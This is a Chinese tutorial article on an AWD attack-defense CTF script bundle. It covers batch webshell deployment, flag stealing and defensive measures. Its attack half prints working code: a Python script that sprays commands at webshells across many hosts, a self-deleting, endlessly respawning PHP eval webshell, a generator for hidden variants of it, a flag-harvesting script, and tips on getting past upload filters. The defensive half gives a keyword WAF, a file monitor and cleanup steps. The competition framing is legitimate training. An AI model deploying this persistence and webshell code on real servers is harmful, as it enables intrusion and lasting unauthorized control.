AWD攻防赛脚本集合解析:不死马、批量打点与WAF防御实战

发布时间:2026/9/28 2:01:23
AWD攻防赛脚本集合解析:不死马、批量打点与WAF防御实战 简介AWD攻防赛实战脚本集合面向CTF及网络安全竞赛中参与攻防对抗模式的选手提供从信息探测、漏洞利用到防御加固的全流程辅助。整个压缩包共33个文件包含12个Python脚本、6个PHP脚本、6个pyc编译模块以及文本说明、RAR工具包和exe可执行程序包体仅3.14MB适合赛前快速部署与临场调用。内容覆盖攻击与防御两大战术方向攻击侧包含批量上传Shell、生成不死马、获取Flag等自动化脚本防御侧提供Linux文件监控、WAF防护、日志分析及克制不死马等对策。其中Web日志安全分析工具为独立RAR包便于深入排查攻击痕迹。目前已有408人学习下载对于希望提升AWD对抗效率、快速搭建攻防脚本库的参赛者而言是一份高性价比的实用资源。1. AWD 攻防赛脚本集合赛前最该先拆开看的压缩包第一次打 AWD 的人最容易犯一个错赛前收集了一堆漏洞利用文档真坐到靶机前才发现又要传 shell 又要读 flag 又要守自己的站点根本来不及翻文档。这个 AWD 攻防赛脚本集合把赛场上最常用的三件事打包了进攻侧用awd_attack.py批量打点、用不死马做权限维持、用GetFlag.py自动收 flag防御侧用waf.php和linux文件监控脚本.py守住阵地再用日志分析工具做溯源。它适合刚组队打校内赛的新手也适合老手拿来补全自己的工具链。下面按拆包顺序把每个脚本的用法、参数和坑一次说清。2. 拆包后的双线结构Attack 与 Defense 目录里的文件怎么分工2.1 一份文件清单对应 AWD 的两个阶段解压后整份资源明显分成两条线Attack 目录管进攻Defense 目录管防守。攻击线里有批量打点、单点上传、不死马生成、自动读 flag 的脚本防御线里有 WAF、文件监控、日志分析、克制不死马的操作笔记。这个结构对应 AWD 的核心节奏前 30 分钟抢 shell 拿分中后段重点防反打和清理权限维持。文件或目录在 AWD 赛场里的角色最关键的使用要点awd_attack.py批量打点主脚本开局阶段对多台靶机自动尝试上传和执行命令upload_shell.py单目标上传脚本针对一台靶机精细调参避免误伤己方不死马.php不死马本体上传后用于长时间权限维持隐藏不死马测试版.php隐藏型不死马文件名和内容都做了混淆慎用命令生成不死马_批量版.py批量生成器一次性生成多份不死马代码换参数再换马ListCreate.php辅助脚本读取目录列表、判断当前路径是否可写cmd.exe伪装型 webshell靶机多 Linux这是把 PHP webshell 伪装成 exe 名绕过过滤的思路webshell.txt/shell.php/shell1.php一句话木马样本作为上传使用的 payload 基础Flag.txt/tips.txt样例与提示用于本地验证脚本流程是否跑通Defense/waf.phpPHP 流量层过滤部署到 Web 根目录拦截常见攻击载荷Defense/linux文件监控脚本.py文件完整性监控检测 Web 目录新增文件和哈希变化Defense/克制不死马.txt应急操作手册被不死马缠上后按步骤清理Defense/Web日志安全分析工具v2.0.rar日志分析工具赛后溯源或赛中快速排查攻击来源实际用的时候不要全堆一起。我一般会把进攻线脚本拆成“开局版”和“持久版”开局版只跑awd_attack.py加GetFlag.py目标是短平快拿分持久版再考虑是否上不死马因为上了不死马就意味着要和对手在同一个目录里互相删文件风险不小。2.2 先过三关环境检查Python 版本、PHP 短标签、上传目录这套资源里 Python 脚本的年代感很强不少代码是按 Python2 写的。比如print当语句用、用xrange()、urllib2.urlopen()这些老语法。本机如果只有 Python3直接跑大概率第一行就报SyntaxError。# 先看本机有哪些可用的 Python python2 -V 2/dev/null python3 -V 2/dev/null# 常见差异统一替换注意 sed 只能处理简单情况 sed -i s/xrange/range/g awd_attack.py sed -i s/urllib2/urllib.request/g awd_attack.py参数说明第一条命令先确认环境里有没有 python2第二条把xrange换成 Python3 的range把urllib2换成urllib.request。实际改完还要把print xxx改成print(xxx)这块用 sed 容易误伤多行字符串建议直接打开文件全局搜索print手动过一遍。PHP 脚本要检查两件事短标签和上传后缀。?短标签在 PHP7 里默认关闭如果用?写的 webshell直接访问大概率白屏上传过滤器限死.php时需要把 payload 改成.php5、.phtml或shell.php.jpg这类组合。还有一点上传目录是否可写决定 webshell 能不能落盘ListCreate.php干的就是这个活——先探一下file_put_contents()能不能在当前目录写入测试文件再决定下一步。# 检查 PHP 短标签是否开启 php -r echo ini_get(short_open_tag); # 输出 1 表示开启0 表示关闭关闭时把 ? 替换成 ?php这套检查流程在赛前做一次就够了省得现场拍脑袋。3. 进攻侧落地批量打点、不死马生成与自动读 flag3.1 awd_attack.py 批量打点逻辑与参数拆包后你会看到awd_attack.py并不是敲一条命令就出结果的傻瓜脚本更像一个需要你维护目标列表的半成品框架。它的核心思路是批量请求靶机已知路径 → 找到存活 webshell → 通过一句话木马传参执行命令 → 把结果写进队列或文件。我把它重构成下面这个最小可用版方便你看清参数怎么控制。# awd_attack.py 核心逻辑重构后的最小版 import requests import threading import queue # 目标列表格式为 靶机IP:端口 targets [ 192.168.1.10:80, 192.168.1.11:80, ] # webshell 路径列表按命中率排序 shell_paths [shell.php, shell1.php, .shell.php] # 一句话木马执行参数x 对应 PHP 里的 $_POST[x] data_key x # 要执行的命令这里以读取 flag 为例 command cat /flag # 是否排除己方靶机强烈建议置为 True exclude_self True MY_IP 192.168.1.12 def attack_one(info): ip, port info.split(:) if exclude_self and ip MY_IP: print([-] skip self:, ip) return base http://%s:%s/ % (ip, port) session requests.Session() for path in shell_paths: url base path try: r session.post(url, data{data_key: command}, timeout5) if r.status_code 200 and (flag{ in r.text or ctf{ in r.text): print([] flag from, ip, :, r.text.strip()[:200]) return except requests.RequestException as e: print([-], ip, path, error:, e) # 线程池并发注意控制线程数 threads [threading.Thread(targetattack_one, args(t,)) for t in targets] for t in threads: t.start() for t in threads: t.join()参数说明里最值得关心的是三个shell_paths决定扫描深度路径越多越慢data_key必须和 webshell 里的$_POST参数一致否则命令传不进去exclude_self是保命项AWD 打的是同网段批量靶机不排除己方 IP 等于开局先把自己打穿。timeout5是请求超时现场网络差时调到 10避免大量线程卡在慢连接上。实战里我一般不在开局就用多线程跑所有靶机而是先单线程跑两三台确认命令执行路径通再放开并发。原因是如果靶机的 flag 不在/flag而在/Flag.txt或/tmp/flag第一条命令直接读/flag会漏先手动确认一次后续批量才有意义。3.2 不死马批量生成原理与参数不死马在 AWD 里是一种很恶心的权限维持方式。它的原理很简单PHP 脚本执行后把自己删除unlink(__FILE__)然后进死循环每秒多次向当前目录写入一个新的 webshell 文件。因为原文件已经没了防守方想按文件路径杀找不到源头新文件文件名不停变化删除速度赶不上生成速度只能先杀进程再锁目录。资源里不死马.php是基础版隐藏不死马测试版.php在文件名和参数上做了混淆命令生成不死马_批量版.py则负责自动生成多个变体。一个典型的不死马长这样?php // 不死马.php —— 上传后自删除并持续写入新 shell ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); // 执行后立刻删掉自己隐藏源头 while (1) { // 生成随机文件名避免被一次性清干净 $name dirname(__FILE__) . /. . md5(mt_rand()) . .php; // 写入一句话木马密码是 x file_put_contents($name, ?php eval($_POST[x]);?); usleep(5000); // 间隔 5000 微秒也就是每秒约 200 次 } ?参数注意usleep(5000)这个值不能太小。改成usleep(1000)会让 CPU 直接飙高靶机卡死反而暴露隐藏路径改成usleep(20000)生成速度变慢防守方有时间追着删。我习惯用 8000 到 10000既能持续存活又不容易把靶机打挂。命令生成不死马_批量版.py的价值在于批量替换这些参数一次生成十个不同文件名、不同密码的变体# 命令生成不死马_批量版.py 的核心生成函数 def make_webshell(filename, password, interval): code ?php eval($_POST[%s]);? % password template (?php ignore_user_abort(true);set_time_limit(0); unlink(__FILE__); while(1){file_put_contents(./%s, %s);usleep(%d);}?) return template % (filename, code, interval) for i in range(10): name .cache_%d.php % i # 生成带缓存前缀的隐藏文件 content make_webshell(name, x%d % i, 8000) with open(name, w) as f: f.write(content) print(generated:, name)这里密码用的x0到x9和GetFlag.py的默认参数要能对上。如果你改了密码必须同步改GetFlag.py里的data_key否则 shell 活着也连不上。3.3 GetFlag.py并发读取 flag资源里GetFlag.py配合前面生成的不死马使用把已知的 webshell 地址整理成一个列表并发向每个地址执行cat /flag用正则匹配 flag 格式后统一输出。核心逻辑可以简化成下面这样# GetFlag.py 批量读取 flag import requests import re import threading import queue shells [ http://192.168.1.10/.cache_0.php, http://192.168.1.11/.cache_0.php, ] key x0 # 对应不死马生成器里的密码 result_queue queue.Queue() pattern re.compile(r(?:flag|ctf)\{[^}]\}, re.I) def fetch(url): try: r requests.post(url, data{key: cat /flag /Flag.txt /flag.txt}, timeout5) matched pattern.search(r.text) if matched: result_queue.put((url, matched.group(0))) except requests.RequestException: pass threads [threading.Thread(targetfetch, args(u,)) for u in shells] for t in threads: t.start() for t in threads: t.join() while not result_queue.empty(): url, flag result_queue.get() print([], url, -, flag)命令里同时cat了三个路径是因为不同主办方对 flag 文件的命名习惯差别很大。正则(flag|ctf)\{[^}]\}能兼容两种主流 flag 格式。如果比赛用的不是这种格式比如hdn{...}或裸的 md5 字符串把正则改成[A-Za-z0-9_]{8,64}就行。这个脚本真正要注意的是 shell 列表的来源手动维护很容易漏。我一般让awd_attack.py跑完后把存活 webshell 地址写到一个alive.txtGetFlag.py直接读这个文件保证收 flag 的列表和打点结果一致。4. 防御侧落地waf.php、文件监控脚本与克制不死马4.1 waf.php 的规则与部署方式Defense/waf.php是一个轻量级 PHP 流量过滤脚本思路是在请求进入业务代码前检查 URL 和 POST 内容命中危险函数特征就直接 403。这种方案不能防住所有攻击但对脚本小子的批量扫描很有效。核心规则如下?php // waf.php —— 放在 Web 根目录用 auto_prepend_file 方式加载 $input $_SERVER[REQUEST_URI] . \n . file_get_contents(php://input); $rules array( /eval\s*\(/i, // eval( /assert\s*\(/i, // assert( /system\s*\(/i, // system( /passthru\s*\(/i, // passthru( /shell_exec\s*\(/i, // shell_exec( /base64_decode\s*\(/i, /gzinflate\s*\(/i, ); foreach ($rules as $rule) { if (preg_match($rule, $input)) { http_response_code(403); exit(request blocked by waf.php); } }部署方式有两条路一是直接include(waf.php)加在业务入口文件顶部二是改php.ini加auto_prepend_file让它自动加载# 将 waf.php 作为所有 PHP 请求的前置脚本 echo auto_prepend_file/var/www/html/waf.php /etc/php5/apache2/php.ini service apache2 restart参数说明里最容易被忽略的是file_get_contents(php://input)。它读取的是原始 POST 内容和$_POST的区别在于php://input能拿到文件上传时的二进制流和原始 JSON很多绕过$_POST的 payload 会在这里暴露。但代价是每次请求都要多读一次输入流性能有损耗。单台 AWD 靶机扛几百 QPS 没问题再高别用。4.2 linux 文件监控脚本.py哈希轮询与新增文件检测linux文件监控脚本.py的作用是盯 Web 目录的文件变化。它默认对/var/www/html下所有 PHP 文件做哈希登记后续每隔几秒重新扫描出现新文件或哈希变化就打印告警。逻辑可以浓缩成下面这段# linux文件监控脚本.py 核心逻辑 import os import hashlib import time WATCH_DIR /var/www/html EXTENSIONS (.php, .jsp, .asp) INTERVAL 2 known {} def hash_file(path): h hashlib.sha1() with open(path, rb) as f: h.update(f.read()) return h.hexdigest() def scan(): for root, dirs, files in os.walk(WATCH_DIR): for name in files: if not name.endswith(EXTENSIONS): continue full os.path.join(root, name) if full in known: if hash_file(full) ! known[full]: print([alert] file changed:, full) else: print([alert] new file:, full) known[full] hash_file(full) while True: scan() time.sleep(INTERVAL)INTERVAL这个参数是关键。设 2 秒太频繁CPU 占用高设 10 秒省资源但对手可能 3 秒写完 shell 又删掉。在比赛中我会改成 3 秒同时把要盯的目录从/var/www/html扩展到/tmp和/dev/shm——后门经常往临时目录落。注意这个脚本只能“发现”不能“阻止”发现后立刻人工登录处理。更专业一点的方案是用inotifywait做实时事件监听但这套资源里用的是轮询优点是不依赖额外安装Python 标准库就能跑适合比赛环境。4.3 克制不死马.txt 的操作顺序与日志分析Defense/克制不死马.txt写的是一套应急操作顺序按这个顺序做才能把不死马清干净# 1. 找不死马进程 ps -ef | grep php | grep -v grep # 2. 杀掉进程通常会有多个用管道批量处理 ps -ef | grep php | grep -v grep | awk {print $2} | xargs -n1 kill -9 # 3. 给 Web 目录加不可修改属性切断后续写入 chattr i /var/www/html # 4. 删除已经生成的随机 shell 文件 find /var/www/html -name .*.php -type f -delete # 5. 确认干净后解锁目录 chattr -i /var/www/html这五步里最核心的是第 3 步chattr i。不加锁只删文件不死马进程残留着下一秒又把 shell 写回来了加了锁才能保证删的速度大于写的速度。等找到源头进程并 kill 掉之后再chattr -i解锁。日志分析交给Web日志安全分析工具v2.0.rar。这是一个 Windows 工具解压后导入Defense/日志地址.txt里记的日志路径即可。它擅长做的事是把 Apache 和 Nginx 的 access_log 里的攻击 IP、URL、UA 聚合成表直接看 Top 攻击来源。修改curl.txt这份笔记我理解为对攻击者常用 curl 命令的记录比如curl -x POST加文件上传参数这些可以作为日志检索关键词。5. 避坑指南五个常见翻车点与排查方法5.1 Python2 脚本在 Python3 环境直接崩现象运行awd_attack.py或GetFlag.py第一行就报NameError: name xrange is not defined或者SyntaxError: invalid syntax指向print那行。原因脚本按 Python2 语法写成xrange()、print xxx、urllib2在 Python3 里不存在或用法已变动。解决先用2to3工具转换再手动处理urllib2和printpython3 -m lib2to3 -w awd_attack.py GetFlag.py linux文件监控脚本.py转换后大概率还有残留问题。urllib2.urlopen()要改成requests.get()或urllib.request.urlopen()print语句改成函数调用。比赛现场优先级最高的是一口气把awd_attack.py和GetFlag.py跑通其他脚本可以后补。5.2 不死马变成 fork 炸弹靶机 CPU 飙到 100%现象上传不死马后靶机 CPU 从个位数直接拉满ps -ef看到几十个 php 进程循环互刷。原因不死马死循环里没有“同文件已存在就跳过”的判断多个变体同时运行后每个进程都在往目录写文件文件又触发下一个进程继续写形成类似 fork 炸弹的效果。解决按第 4.3 的步骤先杀进程再锁目录。治本的方法是把死循环改成带退出条件的形式?php // 不死马改造版限制自身寿命避免失控 ignore_user_abort(true); set_time_limit(0); $max_loop 200; $count 0; while ($count $max_loop) { file_put_contents(..., ?php eval($_POST[x]);?); usleep(10000); $count; }循环上限 200 次按每次间隔 10 毫秒算最多跑 2 秒就自己停下。权限维持的持续性可以靠多放几个不同路径的副本来保证而不是靠一个无限循环堆死靶机。5.3 批量脚本把自己队伍的靶机覆盖现象开局跑awd_attack.py十分钟后发现自己队伍靶机上的 shell 也被人传进去、flag 拿不到页面状态异常。原因AWD 多支队伍共用一个 IP 段或同一套 Web 模板批量上传脚本没有排除己方靶机把己方当对手打还会覆盖队友刚留下的权限维持文件。解决用awd_attack.py前必须维护一个排除列表exclude_self True MY_IP 192.168.1.12 def target_excluded(ip): return exclude_self and ip MY_IP更进一步批量上传的 payload 文件名要带队伍编号比如shell_team12.php。这样上传到其他队伍靶机时方便区分归属打到最后收 flag 也不会混淆哪个是自己队伍的。5.4 PHP 短标签在 PHP7 下失效现象上传shell.php后访问返回 200页面一片空白POST 传参没任何反应。原因webshell 用了?短标签PHP7 默认关闭short_open_tag整个 PHP 块被当成普通文本输出命令永远不会执行。解决上传前先检查再替换# 把短标签替换为标准写法 sed -i s/?/?php/g shell.php注意直接对?php执行这条命令会变成?phpphp所以先确认文件里没有标准标签再替换。比赛用的一句话木马我习惯直接在本地写标准?php版本省得现场踩这个坑。5.5 WAF 规则过宽把正常业务和队友全拦截现象部署 waf.php 后自己平台的投票、登录、文件预览全部 403队友提交 flag 也提交不进去。原因waf.php 把REQUEST_URI和php://input拼在一起后统一匹配eval、system等关键字。正常业务表单里只要出现system这个单词比如邮箱域名拼写就会被误杀。解决改成只过滤命令执行参数而不是全量请求体if (isset($_REQUEST[cmd])) { if (preg_match(/system|exec|passthru|shell_exec/i, $_REQUEST[cmd])) { exit(blocked); } }waf.php里的宽泛正则适合在态势紧张时临时挡住扫描器但读 payload 这件事更适合放在Nginx层做精确的location匹配。如果比赛环境允许改配置优先在nginx.conf里对上传目录单独禁用 PHP 解析比 PHP 层 WAF 稳得多。6. 进阶把脚本集合改造成自己的 AWD 工具箱6.1 给不死马加“版本号”和随机文件名避免多队互相覆盖直接用资源里的生成器同一场比赛所有拿到资源的人的 shell 名字都一样。更好的做法是生成时把队伍标识和随机串打进去让 shell 文件的命名不可预测。import time, random, hashlib def gen_shell_name(team_tagt12): raw %s_%s_%s % (team_tag, time.time(), random.random()) return .%s_%s.php % (team_tag, hashlib.md5(raw.encode()).hexdigest()[:8]) for i in range(6): print(gen_shell_name())文件名里带队伍标识好处有两个一是收 flag 时知道哪个 shell 是自己放的二是不同队伍用同一套脚本时文件名不会互相碰撞打平了还能避免误删自己后门。6.2 把文件监控脚本从打印改成告警推送比赛时你不可能一直盯着靶机终端更现实的做法是让监控脚本把告警推到你自己的消息接口。在linux文件监控脚本.py里加一个通知函数def notify(message): import urllib2 webhook http://your-alert-server.local/push data msg message typefilemonitor try: req urllib2.Request(webhook, datadata) urllib2.urlopen(req, timeout3) except Exception: pass参数说明webhook换成自己的 HTTP 接口收到告警后带上msg和type两个字段没网或接口不可用时抛异常但不能让监控主流程中断。这样文件一旦被改动直接在手机上看到告警不用守在远程终端前面刷屏。6.3 把整套防守流程打包成开局初始化脚本前面所有配置我最终会合成一个init_defense.sh上靶机第一条命令就跑它#!/bin/bash # init_defense.sh —— 开局防御一键部署 WEBROOT/var/www/html # 1. 部署 waf cp waf.php $WEBROOT/waf.php # 2. 启动文件监控日志写本地 cp linux文件监控脚本.py /tmp/fsmonitor.py nohup python2 /tmp/fsmonitor.py /tmp/fswatch.log 21 # 3. 用 php-fpm 配置注入 auto_prepend_file PHP_INI$(php -i | grep Loaded Configuration File | awk -F {print $2}) echo auto_prepend_file$WEBROOT/waf.php $PHP_INI # 4. 锁目录权限防未授权写入 chmod -R 644 $WEBROOT/*.php这个脚本有个隐含的次序先上 WAF 再起监控最后才锁权限。如果反过来先锁了权限后面程序想写入也写不进去waf.php 就部署失败了。PHP_INI那行会从php -i输出里解析出配置文件路径不同靶机版本有差异最好先手工执行一次确认。从那以后我每次打 AWD 之前都强制走一遍这套流程先跑环境检查再改awd_attack.py的排除列表等GetFlag.py从存活 shell 里把 flag 全收一遍才开始考虑上不死马。自残和翻车少了心态也就稳了。希望帮到你。本文还有配套的精品资源点击获取